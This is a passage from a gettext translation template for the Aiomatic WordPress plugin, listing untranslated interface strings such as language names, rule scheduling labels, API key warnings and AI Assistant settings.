#: res/aiomatic-youtube-list.php:71 msgid "Burmese" msgstr "" #: res/aiomatic-amazon-list.php:72 res/aiomatic-listicle-list.php:72 #: res/aiomatic-review-list.php:72 res/aiomatic-rules-list.php:72 #: res/aiomatic-single-list.php:72 res/aiomatic-single-list.php:210 #: res/aiomatic-youtube-list.php:72 msgid "Bosnian" msgstr "" #: res/aiomatic-amazon-list.php:73 res/aiomatic-listicle-list.php:73 #: res/aiomatic-review-list.php:73 res/aiomatic-rules-list.php:73 #: res/aiomatic-single-list.php:73 res/aiomatic-single-list.php:211 #: res/aiomatic-youtube-list.php:73 msgid "Cebuano" msgstr "" #: res/aiomatic-amazon-list.php:74 res/aiomatic-listicle-list.php:74 #: res/aiomatic-review-list.php:74 res/aiomatic-rules-list.php:74 #: res/aiomatic-single-list.php:74 res/aiomatic-single-list.php:212 #: res/aiomatic-youtube-list.php:74 msgid "Chichewa" msgstr "" #: res/aiomatic-amazon-list.php:75 res/aiomatic-listicle-list.php:75 #: res/aiomatic-review-list.php:75 res/aiomatic-rules-list.php:75 #: res/aiomatic-single-list.php:75 res/aiomatic-single-list.php:213 #: res/aiomatic-youtube-list.php:75 msgid "Corsican" msgstr "" #: res/aiomatic-amazon-list.php:76 res/aiomatic-listicle-list.php:76 #: res/aiomatic-review-list.php:76 res/aiomatic-rules-list.php:76 #: res/aiomatic-single-list.php:76 res/aiomatic-single-list.php:214 #: res/aiomatic-youtube-list.php:76 msgid "Frisian" msgstr "" #: res/aiomatic-amazon-list.php:77 res/aiomatic-listicle-list.php:77 #: res/aiomatic-review-list.php:77 res/aiomatic-rules-list.php:77 #: res/aiomatic-single-list.php:77 res/aiomatic-single-list.php:215 #: res/aiomatic-youtube-list.php:77 msgid "Scottish Gaelic" msgstr "" #: res/aiomatic-amazon-list.php:78 res/aiomatic-listicle-list.php:78 #: res/aiomatic-review-list.php:78 res/aiomatic-rules-list.php:78 #: res/aiomatic-single-list.php:78 res/aiomatic-single-list.php:216 #: res/aiomatic-youtube-list.php:78 msgid "Hausa" msgstr "" #: res/aiomatic-amazon-list.php:79 res/aiomatic-listicle-list.php:79 #: res/aiomatic-review-list.php:79 res/aiomatic-rules-list.php:79 #: res/aiomatic-single-list.php:79 res/aiomatic-single-list.php:217 #: res/aiomatic-youtube-list.php:79 msgid "Hawaian" msgstr "" #: res/aiomatic-amazon-list.php:80 res/aiomatic-listicle-list.php:80 #: res/aiomatic-review-list.php:80 res/aiomatic-rules-list.php:80 #: res/aiomatic-single-list.php:80 res/aiomatic-single-list.php:218 #: res/aiomatic-youtube-list.php:80 msgid "Hmong" msgstr "" #: res/aiomatic-amazon-list.php:81 res/aiomatic-listicle-list.php:81 #: res/aiomatic-review-list.php:81 res/aiomatic-rules-list.php:81 #: res/aiomatic-single-list.php:81 res/aiomatic-single-list.php:219 #: res/aiomatic-youtube-list.php:81 msgid "Igbo" msgstr "" #: res/aiomatic-amazon-list.php:82 res/aiomatic-listicle-list.php:82 #: res/aiomatic-review-list.php:82 res/aiomatic-rules-list.php:82 #: res/aiomatic-single-list.php:82 res/aiomatic-single-list.php:220 #: res/aiomatic-youtube-list.php:82 msgid "Javanese" msgstr "" #: res/aiomatic-amazon-list.php:83 res/aiomatic-listicle-list.php:83 #: res/aiomatic-review-list.php:83 res/aiomatic-rules-list.php:83 #: res/aiomatic-single-list.php:83 res/aiomatic-single-list.php:221 #: res/aiomatic-youtube-list.php:83 msgid "Kazakh" msgstr "" #: res/aiomatic-amazon-list.php:84 res/aiomatic-listicle-list.php:84 #: res/aiomatic-review-list.php:84 res/aiomatic-rules-list.php:84 #: res/aiomatic-single-list.php:84 res/aiomatic-single-list.php:222 #: res/aiomatic-youtube-list.php:84 msgid "Khmer" msgstr "" #: res/aiomatic-amazon-list.php:85 res/aiomatic-listicle-list.php:85 #: res/aiomatic-review-list.php:85 res/aiomatic-rules-list.php:85 #: res/aiomatic-single-list.php:85 res/aiomatic-single-list.php:223 #: res/aiomatic-youtube-list.php:85 msgid "Kurdish" msgstr "" #: res/aiomatic-amazon-list.php:86 res/aiomatic-listicle-list.php:86 #: res/aiomatic-review-list.php:86 res/aiomatic-rules-list.php:86 #: res/aiomatic-single-list.php:86 res/aiomatic-single-list.php:224 #: res/aiomatic-youtube-list.php:86 msgid "Kyrgyz" msgstr "" #: res/aiomatic-amazon-list.php:87 res/aiomatic-listicle-list.php:87 #: res/aiomatic-review-list.php:87 res/aiomatic-rules-list.php:87 #: res/aiomatic-single-list.php:87 res/aiomatic-single-list.php:225 #: res/aiomatic-youtube-list.php:87 msgid "Lao" msgstr "" #: res/aiomatic-amazon-list.php:88 res/aiomatic-listicle-list.php:88 #: res/aiomatic-review-list.php:88 res/aiomatic-rules-list.php:88 #: res/aiomatic-single-list.php:88 res/aiomatic-single-list.php:226 #: res/aiomatic-youtube-list.php:88 msgid "Luxembourgish" msgstr "" #: res/aiomatic-amazon-list.php:89 res/aiomatic-listicle-list.php:89 #: res/aiomatic-review-list.php:89 res/aiomatic-rules-list.php:89 #: res/aiomatic-single-list.php:89 res/aiomatic-single-list.php:227 #: res/aiomatic-youtube-list.php:89 msgid "Malagasy" msgstr "" #: res/aiomatic-amazon-list.php:90 res/aiomatic-listicle-list.php:90 #: res/aiomatic-review-list.php:90 res/aiomatic-rules-list.php:90 #: res/aiomatic-single-list.php:90 res/aiomatic-single-list.php:228 #: res/aiomatic-youtube-list.php:90 msgid "Malayalam" msgstr "" #: res/aiomatic-amazon-list.php:91 res/aiomatic-listicle-list.php:91 #: res/aiomatic-review-list.php:91 res/aiomatic-rules-list.php:91 #: res/aiomatic-single-list.php:91 res/aiomatic-single-list.php:229 #: res/aiomatic-youtube-list.php:91 msgid "Maori" msgstr "" #: res/aiomatic-amazon-list.php:92 res/aiomatic-listicle-list.php:92 #: res/aiomatic-review-list.php:92 res/aiomatic-rules-list.php:92 #: res/aiomatic-single-list.php:92 res/aiomatic-single-list.php:230 #: res/aiomatic-youtube-list.php:92 msgid "Marathi" msgstr "" #: res/aiomatic-amazon-list.php:93 res/aiomatic-listicle-list.php:93 #: res/aiomatic-review-list.php:93 res/aiomatic-rules-list.php:93 #: res/aiomatic-single-list.php:93 res/aiomatic-single-list.php:231 #: res/aiomatic-youtube-list.php:93 msgid "Mongolian" msgstr "" #: res/aiomatic-amazon-list.php:94 res/aiomatic-listicle-list.php:94 #: res/aiomatic-review-list.php:94 res/aiomatic-rules-list.php:94 #: res/aiomatic-single-list.php:94 res/aiomatic-single-list.php:232 #: res/aiomatic-youtube-list.php:94 msgid "Nepali" msgstr "" #: res/aiomatic-amazon-list.php:95 res/aiomatic-listicle-list.php:95 #: res/aiomatic-review-list.php:95 res/aiomatic-rules-list.php:95 #: res/aiomatic-single-list.php:95 res/aiomatic-single-list.php:233 #: res/aiomatic-youtube-list.php:95 msgid "Pashto" msgstr "" #: res/aiomatic-amazon-list.php:96 res/aiomatic-listicle-list.php:96 #: res/aiomatic-review-list.php:96 res/aiomatic-rules-list.php:96 #: res/aiomatic-single-list.php:96 res/aiomatic-single-list.php:234 #: res/aiomatic-youtube-list.php:96 msgid "Punjabi" msgstr "" #: res/aiomatic-amazon-list.php:97 res/aiomatic-listicle-list.php:97 #: res/aiomatic-review-list.php:97 res/aiomatic-rules-list.php:97 #: res/aiomatic-single-list.php:97 res/aiomatic-single-list.php:235 #: res/aiomatic-youtube-list.php:97 msgid "Samoan" msgstr "" #: res/aiomatic-amazon-list.php:98 res/aiomatic-listicle-list.php:98 #: res/aiomatic-review-list.php:98 res/aiomatic-rules-list.php:98 #: res/aiomatic-single-list.php:98 res/aiomatic-single-list.php:236 #: res/aiomatic-youtube-list.php:98 msgid "Sesotho" msgstr "" #: res/aiomatic-amazon-list.php:99 res/aiomatic-listicle-list.php:99 #: res/aiomatic-review-list.php:99 res/aiomatic-rules-list.php:99 #: res/aiomatic-single-list.php:99 res/aiomatic-single-list.php:237 #: res/aiomatic-youtube-list.php:99 msgid "Shona" msgstr "" #: res/aiomatic-amazon-list.php:100 res/aiomatic-listicle-list.php:100 #: res/aiomatic-review-list.php:100 res/aiomatic-rules-list.php:100 #: res/aiomatic-single-list.php:100 res/aiomatic-single-list.php:238 #: res/aiomatic-youtube-list.php:100 msgid "Sindhi" msgstr "" #: res/aiomatic-amazon-list.php:101 res/aiomatic-listicle-list.php:101 #: res/aiomatic-review-list.php:101 res/aiomatic-rules-list.php:101 #: res/aiomatic-single-list.php:101 res/aiomatic-single-list.php:239 #: res/aiomatic-youtube-list.php:101 msgid "Sinhala" msgstr "" #: res/aiomatic-amazon-list.php:102 res/aiomatic-listicle-list.php:102 #: res/aiomatic-review-list.php:102 res/aiomatic-rules-list.php:102 #: res/aiomatic-single-list.php:102 res/aiomatic-single-list.php:240 #: res/aiomatic-youtube-list.php:102 msgid "Somali" msgstr "" #: res/aiomatic-amazon-list.php:103 res/aiomatic-listicle-list.php:103 #: res/aiomatic-review-list.php:103 res/aiomatic-rules-list.php:103 #: res/aiomatic-single-list.php:103 res/aiomatic-single-list.php:241 #: res/aiomatic-youtube-list.php:103 msgid "Sundanese" msgstr "" #: res/aiomatic-amazon-list.php:105 res/aiomatic-listicle-list.php:105 #: res/aiomatic-review-list.php:105 res/aiomatic-rules-list.php:105 #: res/aiomatic-single-list.php:105 res/aiomatic-single-list.php:243 #: res/aiomatic-youtube-list.php:105 msgid "Tajik" msgstr "" #: res/aiomatic-amazon-list.php:106 res/aiomatic-listicle-list.php:106 #: res/aiomatic-review-list.php:106 res/aiomatic-rules-list.php:106 #: res/aiomatic-single-list.php:106 res/aiomatic-single-list.php:244 #: res/aiomatic-youtube-list.php:106 msgid "Uzbek" msgstr "" #: res/aiomatic-amazon-list.php:107 res/aiomatic-listicle-list.php:107 #: res/aiomatic-review-list.php:107 res/aiomatic-rules-list.php:107 #: res/aiomatic-single-list.php:107 res/aiomatic-single-list.php:245 #: res/aiomatic-youtube-list.php:107 msgid "Xhosa" msgstr "" #: res/aiomatic-amazon-list.php:108 res/aiomatic-listicle-list.php:108 #: res/aiomatic-review-list.php:108 res/aiomatic-rules-list.php:108 #: res/aiomatic-single-list.php:108 res/aiomatic-single-list.php:246 #: res/aiomatic-youtube-list.php:108 msgid "Yoruba" msgstr "" #: res/aiomatic-amazon-list.php:109 res/aiomatic-listicle-list.php:109 #: res/aiomatic-review-list.php:109 res/aiomatic-rules-list.php:109 #: res/aiomatic-single-list.php:109 res/aiomatic-single-list.php:247 #: res/aiomatic-youtube-list.php:109 msgid "Zulu" msgstr "" #: res/aiomatic-amazon-list.php:110 res/aiomatic-listicle-list.php:110 #: res/aiomatic-review-list.php:110 res/aiomatic-rules-list.php:110 #: res/aiomatic-single-list.php:110 res/aiomatic-single-list.php:248 #: res/aiomatic-youtube-list.php:110 msgid "Assammese" msgstr "" #: res/aiomatic-amazon-list.php:111 res/aiomatic-listicle-list.php:111 #: res/aiomatic-review-list.php:111 res/aiomatic-rules-list.php:111 #: res/aiomatic-single-list.php:111 res/aiomatic-single-list.php:249 #: res/aiomatic-youtube-list.php:111 msgid "Aymara" msgstr "" #: res/aiomatic-amazon-list.php:112 res/aiomatic-listicle-list.php:112 #: res/aiomatic-review-list.php:112 res/aiomatic-rules-list.php:112 #: res/aiomatic-single-list.php:112 res/aiomatic-single-list.php:250 #: res/aiomatic-youtube-list.php:112 msgid "Bambara" msgstr "" #: res/aiomatic-amazon-list.php:113 res/aiomatic-listicle-list.php:113 #: res/aiomatic-review-list.php:113 res/aiomatic-rules-list.php:113 #: res/aiomatic-single-list.php:113 res/aiomatic-single-list.php:251 #: res/aiomatic-youtube-list.php:113 msgid "Bhojpuri" msgstr "" #: res/aiomatic-amazon-list.php:114 res/aiomatic-listicle-list.php:114 #: res/aiomatic-review-list.php:114 res/aiomatic-rules-list.php:114 #: res/aiomatic-single-list.php:114 res/aiomatic-single-list.php:252 #: res/aiomatic-youtube-list.php:114 msgid "Dhivehi" msgstr "" #: res/aiomatic-amazon-list.php:115 res/aiomatic-listicle-list.php:115 #: res/aiomatic-review-list.php:115 res/aiomatic-rules-list.php:115 #: res/aiomatic-single-list.php:115 res/aiomatic-single-list.php:253 #: res/aiomatic-youtube-list.php:115 msgid "Dogri" msgstr "" #: res/aiomatic-amazon-list.php:116 res/aiomatic-listicle-list.php:116 #: res/aiomatic-review-list.php:116 res/aiomatic-rules-list.php:116 #: res/aiomatic-single-list.php:116 res/aiomatic-single-list.php:254 #: res/aiomatic-youtube-list.php:116 msgid "Ewe" msgstr "" #: res/aiomatic-amazon-list.php:117 res/aiomatic-listicle-list.php:117 #: res/aiomatic-review-list.php:117 res/aiomatic-rules-list.php:117 #: res/aiomatic-single-list.php:117 res/aiomatic-single-list.php:255 #: res/aiomatic-youtube-list.php:117 msgid "Guarani" msgstr "" #: res/aiomatic-amazon-list.php:118 res/aiomatic-listicle-list.php:118 #: res/aiomatic-review-list.php:118 res/aiomatic-rules-list.php:118 #: res/aiomatic-single-list.php:118 res/aiomatic-single-list.php:256 #: res/aiomatic-youtube-list.php:118 msgid "Ilocano" msgstr "" #: res/aiomatic-amazon-list.php:119 res/aiomatic-listicle-list.php:119 #: res/aiomatic-review-list.php:119 res/aiomatic-rules-list.php:119 #: res/aiomatic-single-list.php:119 res/aiomatic-single-list.php:257 #: res/aiomatic-youtube-list.php:119 msgid "Kinyarwanda" msgstr "" #: res/aiomatic-amazon-list.php:120 res/aiomatic-listicle-list.php:120 #: res/aiomatic-review-list.php:120 res/aiomatic-rules-list.php:120 #: res/aiomatic-single-list.php:120 res/aiomatic-single-list.php:258 #: res/aiomatic-youtube-list.php:120 msgid "Konkani" msgstr "" #: res/aiomatic-amazon-list.php:121 res/aiomatic-listicle-list.php:121 #: res/aiomatic-review-list.php:121 res/aiomatic-rules-list.php:121 #: res/aiomatic-single-list.php:121 res/aiomatic-single-list.php:259 #: res/aiomatic-youtube-list.php:121 msgid "Krio" msgstr "" #: res/aiomatic-amazon-list.php:122 res/aiomatic-listicle-list.php:122 #: res/aiomatic-review-list.php:122 res/aiomatic-rules-list.php:122 #: res/aiomatic-single-list.php:122 res/aiomatic-single-list.php:260 #: res/aiomatic-youtube-list.php:122 msgid "Kurdish - Sorani" msgstr "" #: res/aiomatic-amazon-list.php:123 res/aiomatic-listicle-list.php:123 #: res/aiomatic-review-list.php:123 res/aiomatic-rules-list.php:123 #: res/aiomatic-single-list.php:123 res/aiomatic-single-list.php:261 #: res/aiomatic-youtube-list.php:123 msgid "Lingala" msgstr "" #: res/aiomatic-amazon-list.php:124 res/aiomatic-listicle-list.php:124 #: res/aiomatic-review-list.php:124 res/aiomatic-rules-list.php:124 #: res/aiomatic-single-list.php:124 res/aiomatic-single-list.php:262 #: res/aiomatic-youtube-list.php:124 msgid "Luganda" msgstr "" #: res/aiomatic-amazon-list.php:125 res/aiomatic-listicle-list.php:125 #: res/aiomatic-review-list.php:125 res/aiomatic-rules-list.php:125 #: res/aiomatic-single-list.php:125 res/aiomatic-single-list.php:263 #: res/aiomatic-youtube-list.php:125 msgid "Maithili" msgstr "" #: res/aiomatic-amazon-list.php:126 res/aiomatic-listicle-list.php:126 #: res/aiomatic-review-list.php:126 res/aiomatic-rules-list.php:126 #: res/aiomatic-single-list.php:126 res/aiomatic-single-list.php:264 #: res/aiomatic-youtube-list.php:126 msgid "Meiteilon" msgstr "" #: res/aiomatic-amazon-list.php:127 res/aiomatic-listicle-list.php:127 #: res/aiomatic-review-list.php:127 res/aiomatic-rules-list.php:127 #: res/aiomatic-single-list.php:127 res/aiomatic-single-list.php:265 #: res/aiomatic-youtube-list.php:127 msgid "Mizo" msgstr "" #: res/aiomatic-amazon-list.php:128 res/aiomatic-listicle-list.php:128 #: res/aiomatic-review-list.php:128 res/aiomatic-rules-list.php:128 #: res/aiomatic-single-list.php:128 res/aiomatic-single-list.php:266 #: res/aiomatic-youtube-list.php:128 msgid "Odia" msgstr "" #: res/aiomatic-amazon-list.php:129 res/aiomatic-listicle-list.php:129 #: res/aiomatic-review-list.php:129 res/aiomatic-rules-list.php:129 #: res/aiomatic-single-list.php:129 res/aiomatic-single-list.php:267 #: res/aiomatic-youtube-list.php:129 msgid "Oromo" msgstr "" #: res/aiomatic-amazon-list.php:130 res/aiomatic-listicle-list.php:130 #: res/aiomatic-review-list.php:130 res/aiomatic-rules-list.php:130 #: res/aiomatic-single-list.php:130 res/aiomatic-single-list.php:268 #: res/aiomatic-youtube-list.php:130 msgid "Quechua" msgstr "" #: res/aiomatic-amazon-list.php:131 res/aiomatic-listicle-list.php:131 #: res/aiomatic-review-list.php:131 res/aiomatic-rules-list.php:131 #: res/aiomatic-single-list.php:131 res/aiomatic-single-list.php:269 #: res/aiomatic-youtube-list.php:131 msgid "Sanskrit" msgstr "" #: res/aiomatic-amazon-list.php:132 res/aiomatic-listicle-list.php:132 #: res/aiomatic-review-list.php:132 res/aiomatic-rules-list.php:132 #: res/aiomatic-single-list.php:132 res/aiomatic-single-list.php:270 #: res/aiomatic-youtube-list.php:132 msgid "Sepedi" msgstr "" #: res/aiomatic-amazon-list.php:133 res/aiomatic-listicle-list.php:133 #: res/aiomatic-review-list.php:133 res/aiomatic-rules-list.php:133 #: res/aiomatic-single-list.php:133 res/aiomatic-single-list.php:271 #: res/aiomatic-youtube-list.php:133 msgid "Tatar" msgstr "" #: res/aiomatic-amazon-list.php:134 res/aiomatic-listicle-list.php:134 #: res/aiomatic-review-list.php:134 res/aiomatic-rules-list.php:134 #: res/aiomatic-single-list.php:134 res/aiomatic-single-list.php:272 #: res/aiomatic-youtube-list.php:134 msgid "Tigrinya" msgstr "" #: res/aiomatic-amazon-list.php:135 res/aiomatic-listicle-list.php:135 #: res/aiomatic-review-list.php:135 res/aiomatic-rules-list.php:135 #: res/aiomatic-single-list.php:135 res/aiomatic-single-list.php:273 #: res/aiomatic-youtube-list.php:135 msgid "Tsonga" msgstr "" #: res/aiomatic-amazon-list.php:136 res/aiomatic-listicle-list.php:136 #: res/aiomatic-review-list.php:136 res/aiomatic-rules-list.php:136 #: res/aiomatic-single-list.php:136 res/aiomatic-single-list.php:274 #: res/aiomatic-youtube-list.php:136 msgid "Turkmen" msgstr "" #: res/aiomatic-amazon-list.php:137 res/aiomatic-listicle-list.php:137 #: res/aiomatic-review-list.php:137 res/aiomatic-rules-list.php:137 #: res/aiomatic-single-list.php:137 res/aiomatic-single-list.php:275 #: res/aiomatic-youtube-list.php:137 msgid "Twi" msgstr "" #: res/aiomatic-amazon-list.php:138 res/aiomatic-listicle-list.php:138 #: res/aiomatic-review-list.php:138 res/aiomatic-rules-list.php:138 #: res/aiomatic-single-list.php:138 res/aiomatic-single-list.php:276 #: res/aiomatic-youtube-list.php:138 msgid "Uyghur" msgstr "" #: res/aiomatic-amazon-list.php:158 res/aiomatic-automation-list.php:59 #: res/aiomatic-chatbot.php:64 res/aiomatic-csv-list.php:20 #: res/aiomatic-embeddings.php:8 res/aiomatic-images.php:8 #: res/aiomatic-listicle-list.php:158 res/aiomatic-playground.php:8 #: res/aiomatic-review-list.php:158 res/aiomatic-rules-list.php:158 #: res/aiomatic-shortcodes.php:8 res/aiomatic-spinner-list.php:8 #: res/aiomatic-youtube-list.php:158 msgid "" "You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu " "before you can use this feature!" msgstr "" #: res/aiomatic-amazon-list.php:174 res/aiomatic-automation-list.php:82 #: res/aiomatic-csv-list.php:36 res/aiomatic-listicle-list.php:174 #: res/aiomatic-review-list.php:174 res/aiomatic-rules-list.php:174 #: res/aiomatic-single-list.php:303 res/aiomatic-spinner-list.php:24 #: res/aiomatic-youtube-list.php:174 #, php-format msgid "" "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). " "This means that the plugin's execution will be forcefully stopped by your " "server after this amount of seconds. Please increase it to ensure that the " "plugin functions properly. Please check details on server settings, here." msgstr "" #: res/aiomatic-amazon-list.php:189 res/aiomatic-automation-list.php:2740 #: res/aiomatic-chatbot.php:1059 res/aiomatic-csv-list.php:51 #: res/aiomatic-listicle-list.php:189 res/aiomatic-main.php:1653 #: res/aiomatic-review-list.php:189 res/aiomatic-rules-list.php:189 #: res/aiomatic-spinner-list.php:980 res/aiomatic-youtube-list.php:189 msgid "Settings saved." msgstr "" #: res/aiomatic-amazon-list.php:202 res/aiomatic-assistants.php:160 #: res/aiomatic-automation-list.php:2753 res/aiomatic-batch.php:240 #: res/aiomatic-chatbot.php:3001 res/aiomatic-chatbot.php:7372 #: res/aiomatic-csv-list.php:64 res/aiomatic-embeddings.php:697 #: res/aiomatic-limits-statistics.php:932 #: res/aiomatic-limits-statistics.php:1698 #: res/aiomatic-limits-statistics.php:2026 res/aiomatic-listicle-list.php:202 #: res/aiomatic-main.php:5800 res/aiomatic-main.php:10206 #: res/aiomatic-review-list.php:202 res/aiomatic-rules-list.php:202 #: res/aiomatic-spinner-list.php:5695 res/aiomatic-training.php:435 #: res/aiomatic-training.php:526 res/aiomatic-youtube-list.php:202 msgid "ID" msgstr "" #: res/aiomatic-amazon-list.php:206 res/aiomatic-automation-list.php:2757 #: res/aiomatic-chatbot.php:7376 res/aiomatic-csv-list.php:68 #: res/aiomatic-listicle-list.php:206 res/aiomatic-main.php:10210 #: res/aiomatic-review-list.php:206 res/aiomatic-rules-list.php:206 #: res/aiomatic-youtube-list.php:206 msgid "This is the ID of the rule." msgstr "" #: res/aiomatic-amazon-list.php:216 msgid "" "Please provide the search keyword for Amazon products to be included in the " "created article. Alternatively, you can provide a comma separated list of " "product ASINs (ex: B07RZ74VLR,B07RX6FBFR). To create multiple posts from the " "ASIN lists, add a new comma separated ASIN list to a new line." msgstr "" #: res/aiomatic-amazon-list.php:228 res/aiomatic-review-list.php:228 msgid "" "Because you are using the 'Aiomatic Extension: Amazon API' extension, you " "can query Amazon API also by product categories. To do so, enter at the end " "of the keyword you are searching for, the category, in this format:" msgstr "" #: res/aiomatic-amazon-list.php:232 res/aiomatic-review-list.php:232 msgid "Possible category values are: " msgstr "" #: res/aiomatic-amazon-list.php:234 res/aiomatic-review-list.php:234 msgid "Check valid values for your locale, here: " msgstr "" #: res/aiomatic-amazon-list.php:240 res/aiomatic-review-list.php:240 msgid "" "To filter products by categories, you also need to enter your Amazon API key " "in the Aiomatic's 'Settings', afterwards, more details will appear here " "about the category filtering options." msgstr "" #: res/aiomatic-amazon-list.php:244 res/aiomatic-review-list.php:244 msgid "" "If you activate the 'Aiomatic Extension: Amazon API' plugin, which adds " "support for Amazon API access to Aiomatic, and also add your Amazon API key " "and secret in the plugin settings, you will be able to query Amazon also by " "product categories. Activate the Amazon Extension plugin and more details " "will appear here about usage." msgstr "" #: res/aiomatic-amazon-list.php:252 res/aiomatic-automation-list.php:2773 #: res/aiomatic-csv-list.php:84 res/aiomatic-listicle-list.php:222 #: res/aiomatic-review-list.php:252 res/aiomatic-rules-list.php:232 #: res/aiomatic-youtube-list.php:222 msgid "Schedule" msgstr "" #: res/aiomatic-amazon-list.php:259 res/aiomatic-automation-list.php:2780 #: res/aiomatic-csv-list.php:91 res/aiomatic-listicle-list.php:229 #: res/aiomatic-review-list.php:259 res/aiomatic-rules-list.php:239 #: res/aiomatic-youtube-list.php:229 msgid "" "Select the interval in minutes after which you want this rule to run. " "Defined in minutes." msgstr "" #: res/aiomatic-amazon-list.php:263 res/aiomatic-automation-list.php:2784 #: res/aiomatic-csv-list.php:95 res/aiomatic-listicle-list.php:233 #: res/aiomatic-review-list.php:263 res/aiomatic-rules-list.php:243 #: res/aiomatic-youtube-list.php:233 msgid "" "Select the interval in hours after which you want this rule to run. Defined " "in hours." msgstr "" #: res/aiomatic-amazon-list.php:270 res/aiomatic-csv-list.php:102 #: res/aiomatic-listicle-list.php:240 res/aiomatic-review-list.php:270 #: res/aiomatic-rules-list.php:250 res/aiomatic-youtube-list.php:240 msgid "# Of Posts" msgstr "" #: res/aiomatic-amazon-list.php:274 res/aiomatic-csv-list.php:106 #: res/aiomatic-listicle-list.php:244 res/aiomatic-review-list.php:274 #: res/aiomatic-rules-list.php:254 res/aiomatic-youtube-list.php:244 msgid "Select the maximum number of posts that this rule can create at once." msgstr "" #: res/aiomatic-amazon-list.php:280 res/aiomatic-csv-list.php:112 #: res/aiomatic-listicle-list.php:250 res/aiomatic-review-list.php:280 #: res/aiomatic-rules-list.php:260 res/aiomatic-single-list.php:1151 #: res/aiomatic-youtube-list.php:250 msgid "More Options" msgstr "" #: res/aiomatic-amazon-list.php:284 res/aiomatic-csv-list.php:116 #: res/aiomatic-limits-statistics.php:1752 res/aiomatic-listicle-list.php:254 #: res/aiomatic-review-list.php:284 res/aiomatic-rules-list.php:264 #: res/aiomatic-single-list.php:1154 res/aiomatic-youtube-list.php:254 msgid "Shows advanced settings for this rule." msgstr "" #: res/aiomatic-amazon-list.php:290 res/aiomatic-automation-list.php:2821 #: res/aiomatic-chatbot.php:7402 res/aiomatic-csv-list.php:122 #: res/aiomatic-limits-statistics.php:1758 #: res/aiomatic-limits-statistics.php:2056 res/aiomatic-listicle-list.php:260 #: res/aiomatic-main.php:3788 res/aiomatic-main.php:5810 #: res/aiomatic-main.php:10216 res/aiomatic-review-list.php:290 #: res/aiomatic-rules-list.php:270 res/aiomatic-youtube-list.php:260 msgid "Del" msgstr "" #: res/aiomatic-amazon-list.php:294 res/aiomatic-automation-list.php:2825 #: res/aiomatic-chatbot.php:7406 res/aiomatic-csv-list.php:126 #: res/aiomatic-limits-statistics.php:1762 #: res/aiomatic-limits-statistics.php:2060 res/aiomatic-listicle-list.php:264 #: res/aiomatic-main.php:3792 res/aiomatic-main.php:10220 #: res/aiomatic-review-list.php:294 res/aiomatic-rules-list.php:274 #: res/aiomatic-youtube-list.php:264 msgid "Do you want to delete this rule?" msgstr "" #: res/aiomatic-amazon-list.php:300 res/aiomatic-automation-list.php:2831 #: res/aiomatic-csv-list.php:132 res/aiomatic-limits-statistics.php:1768 #: res/aiomatic-listicle-list.php:270 res/aiomatic-review-list.php:300 #: res/aiomatic-rules-list.php:280 res/aiomatic-youtube-list.php:270 msgid "Active" msgstr "" #: res/aiomatic-amazon-list.php:304 res/aiomatic-automation-list.php:2835 #: res/aiomatic-csv-list.php:136 res/aiomatic-listicle-list.php:274 #: res/aiomatic-review-list.php:304 res/aiomatic-rules-list.php:284 #: res/aiomatic-youtube-list.php:274 msgid "" "Do you want to enable this rule? You can deactivate any rule (you don't have " "to delete them to deactivate them)." msgstr "" #: res/aiomatic-amazon-list.php:312 res/aiomatic-automation-list.php:2843 #: res/aiomatic-csv-list.php:144 res/aiomatic-listicle-list.php:282 #: res/aiomatic-review-list.php:312 res/aiomatic-rules-list.php:292 #: res/aiomatic-youtube-list.php:282 msgid "Info" msgstr "" #: res/aiomatic-amazon-list.php:316 res/aiomatic-automation-list.php:2847 #: res/aiomatic-csv-list.php:148 res/aiomatic-listicle-list.php:286 #: res/aiomatic-review-list.php:316 res/aiomatic-rules-list.php:296 #: res/aiomatic-youtube-list.php:286 msgid "The number of items (posts, pages) this rule has generated so far." msgstr "" #: res/aiomatic-amazon-list.php:322 res/aiomatic-automation-list.php:2853 #: res/aiomatic-csv-list.php:154 res/aiomatic-listicle-list.php:292 #: res/aiomatic-review-list.php:322 res/aiomatic-rules-list.php:302 #: res/aiomatic-youtube-list.php:292 msgid "Actions" msgstr "" #: res/aiomatic-amazon-list.php:326 res/aiomatic-automation-list.php:2857 #: res/aiomatic-csv-list.php:158 res/aiomatic-listicle-list.php:296 #: res/aiomatic-review-list.php:326 res/aiomatic-rules-list.php:306 #: res/aiomatic-youtube-list.php:296 msgid "" "Do you want to run this rule now? Note that only one instance of a rule is " "allowed at once." msgstr "" #: res/aiomatic-amazon-list.php:360 res/aiomatic-automation-list.php:2891 #: res/aiomatic-automation-list.php:5041 res/aiomatic-chatbot.php:7435 #: res/aiomatic-csv-list.php:192 res/aiomatic-limits-statistics.php:1840 #: res/aiomatic-listicle-list.php:330 res/aiomatic-review-list.php:360 #: res/aiomatic-rules-list.php:345 res/aiomatic-youtube-list.php:330 msgid "New Rule" msgstr "" #: res/aiomatic-amazon-list.php:366 res/aiomatic-amazon-list.php:2987 #: res/aiomatic-listicle-list.php:336 res/aiomatic-listicle-list.php:2869 #: res/aiomatic-review-list.php:366 res/aiomatic-review-list.php:3064 #: res/aiomatic-rules-list.php:351 res/aiomatic-rules-list.php:3198 #: res/aiomatic-single-list.php:1403 res/aiomatic-single-list.php:2606 #: res/aiomatic-single-list.php:3809 res/aiomatic-single-list.php:4561 #: res/aiomatic-single-list.php:5831 res/aiomatic-single-list.php:7128 #: res/aiomatic-youtube-list.php:336 res/aiomatic-youtube-list.php:2924 msgid "AI Assistant Options" msgstr "" #: res/aiomatic-amazon-list.php:373 res/aiomatic-amazon-list.php:2991 #: res/aiomatic-listicle-list.php:343 res/aiomatic-listicle-list.php:2873 #: res/aiomatic-review-list.php:373 res/aiomatic-review-list.php:3068 #: res/aiomatic-rules-list.php:358 res/aiomatic-rules-list.php:3202 #: res/aiomatic-single-list.php:1410 res/aiomatic-single-list.php:2613 #: res/aiomatic-single-list.php:3816 res/aiomatic-single-list.php:4568 #: res/aiomatic-single-list.php:5838 res/aiomatic-single-list.php:7135 #: res/aiomatic-youtube-list.php:343 res/aiomatic-youtube-list.php:2928 msgid "" "Select the AI Assistant to use for content creation. This will disable the " "ability to select AI models, as the models assisgned to the assistant will " "be used for content creation." msgstr "" #: res/aiomatic-amazon-list.php:377 res/aiomatic-amazon-list.php:2993 #: res/aiomatic-chatbot.php:1093 res/aiomatic-chatbot.php:1522 #: res/aiomatic-listicle-list.php:347 res/aiomatic-listicle-list.php:2875 #: res/aiomatic-main.php:3622 res/aiomatic-main.php:4203 #: 